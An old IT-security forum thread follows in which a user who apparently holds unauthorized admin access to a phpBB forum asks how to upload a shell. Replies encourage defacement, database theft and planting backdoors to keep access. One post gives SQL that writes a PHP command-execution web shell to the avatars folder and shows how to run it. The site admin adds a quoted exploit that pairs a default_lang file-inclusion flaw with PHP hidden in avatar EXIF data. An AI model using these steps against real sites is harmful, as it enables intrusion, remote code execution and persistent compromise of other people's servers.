Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 10, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 241
Members: 0
Total: 241
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Ok, i can login as an admin, but
Post new topic  Reply to topic View previous topic :: View next topic 
Ok, i can login as an admin, but
PostPosted: Wed Apr 05, 2006 5:26 am Reply with quote
naragorn
Regular user
Regular user
 
Joined: Apr 03, 2006
Posts: 10




But what can i do besides delete the forum??
I dont want to do that, too lame i think, i wont delete anything,
But im wondering, is there a way to upload a shell now that im admin??
View user's profile Send private message
PostPosted: Wed Apr 05, 2006 5:38 am Reply with quote
Aryan-Husky
Active user
Active user
 
Joined: Apr 03, 2006
Posts: 37




How did you get Admin access?

Yes I also agree deleting the forum is lame, you could upload your own Overall header and footer. to scare the Admins and Mods into think their site has been hacked. (even though it has Laughing )

Im not to sure about uploading a shell.
View user's profile Send private message
PostPosted: Wed Apr 05, 2006 5:48 am Reply with quote
naragorn
Regular user
Regular user
 
Joined: Apr 03, 2006
Posts: 10




ya, that would be lame too, xD, i wont do that, i will leave the forum intact, dun have anything agains them,

Well im just llokin into upload a phpshell, thx anyway
View user's profile Send private message
PostPosted: Thu Apr 06, 2006 5:29 am Reply with quote
Aryan-Husky
Active user
Active user
 
Joined: Apr 03, 2006
Posts: 37




naragorn wrote:
ya, that would be lame too, xD, i wont do that, i will leave the forum intact, dun have anything agains them,

Well im just llokin into upload a phpshell, thx anyway


I hope it works out for you naragorn, keep us posted on your developments!!!

Very Happy
View user's profile Send private message
PostPosted: Thu Apr 13, 2006 1:37 am Reply with quote
DCDJ
Beginner
Beginner
 
Joined: Apr 13, 2006
Posts: 3




Or you could just get a bunch of random html and stick it in a forum description, that messed up the whole page. But thats lame to since every hacker you ever see does it. Rolling Eyes
View user's profile Send private message Visit poster's website
PostPosted: Fri Apr 14, 2006 8:25 pm Reply with quote
Indiction
Regular user
Regular user
 
Joined: Apr 12, 2006
Posts: 11




Backup and store the database. It will probably be useful later.

Look for bugs in mods too, like EasyMOD which will let you write a modification and pretty much will let you, with a well written PHP shell, upload and execute remote code. I recommend doing this as much as possible as well as rewriting "secure" code to make it insecure or have backdoors. Why? Because if they ever kick you out/ban you, or even if they upgrade/reinstall its nice to be able to get back in and screw stuff up again.
View user's profile Send private message
PostPosted: Tue Apr 18, 2006 12:33 pm Reply with quote
beastyarny
Regular user
Regular user
 
Joined: Apr 18, 2006
Posts: 5
Location: Russia




you can try to upload shell...first of all find the installation directory of the forum...for example ...../admin/admin_disallow.php?setmodules=1..after this you get it,
then you must to edit the data base...looks for string (for example).. INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', 'test', '10');
and edit it.....INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? passthru("$cmd"); ?>', '10');
SELECT cat_title INTO OUTFILE '/installation_directory_of_the_forum/avatars/shell.php' FROM phpbb_categories where cat_id=1;
UPDATE phpbb_categories SET cat_title='test' WHERE cat_id=1;

save the db and upload it to forum...then try you shell like this
.............../avatars/shell.php?cmd=ls -la

there are lots video for uploading shells to phpBB
View user's profile Send private message
PostPosted: Wed Jul 05, 2006 8:19 am Reply with quote
Goro
Beginner
Beginner
 
Joined: Apr 12, 2006
Posts: 2




beastyarny wrote:
there are lots video for uploading shells to phpBB


Can you tell us where to find those vids please?

Do you know other method?
I'm asking because the method you described doesn't work for me, it apears thet their mysql doesn't have permisions to create files.

Using the "database restore" it's possible to insert any text in the topics (for example), the topics msgs can contains PHP code, but their aren't executed.... any ideas please?
View user's profile Send private message
PostPosted: Wed Jul 05, 2006 9:29 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Goro wrote:
beastyarny wrote:
there are lots video for uploading shells to phpBB


Can you tell us where to find those vids please?

Do you know other method?
I'm asking because the method you described doesn't work for me, it apears thet their mysql doesn't have permisions to create files.

Using the "database restore" it's possible to insert any text in the topics (for example), the topics msgs can contains PHP code, but their aren't executed.... any ideas please?


http://www.milw0rm.com/exploits/1780

Code:

/* explaination:

  if you have admin session id, you can enable avatar uploads, if not activated
  yet and you can store an arbitrary path for "default_lang" inside phpbb_config
  database table using the "Database Restore" feature. So you can upload a
  malicious avatar with php code as EXIF metadata content and submit a query like
  this:

  UPDATE phpbb_config SET config_value=CONCAT("english/../../images/avatars/297984465bc277af10.jpg",CHAR(0)) where config_name="default_lang";

  note: you can see avatar filename in profile page

  in faq.php, like in other files, near line 62, we have:

  ...
  include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/' . $lang_file . '.' . $phpEx);
  ...

  $board_config['default_lang'] var is not sanitized before to be used
  to include files, so you can reach the malicious avatar to execute the code
  inside of it.


Smile
View user's profile Send private message Send e-mail Visit poster's website
Ok, i can login as an admin, but
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Book Opinions
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.081 Seconds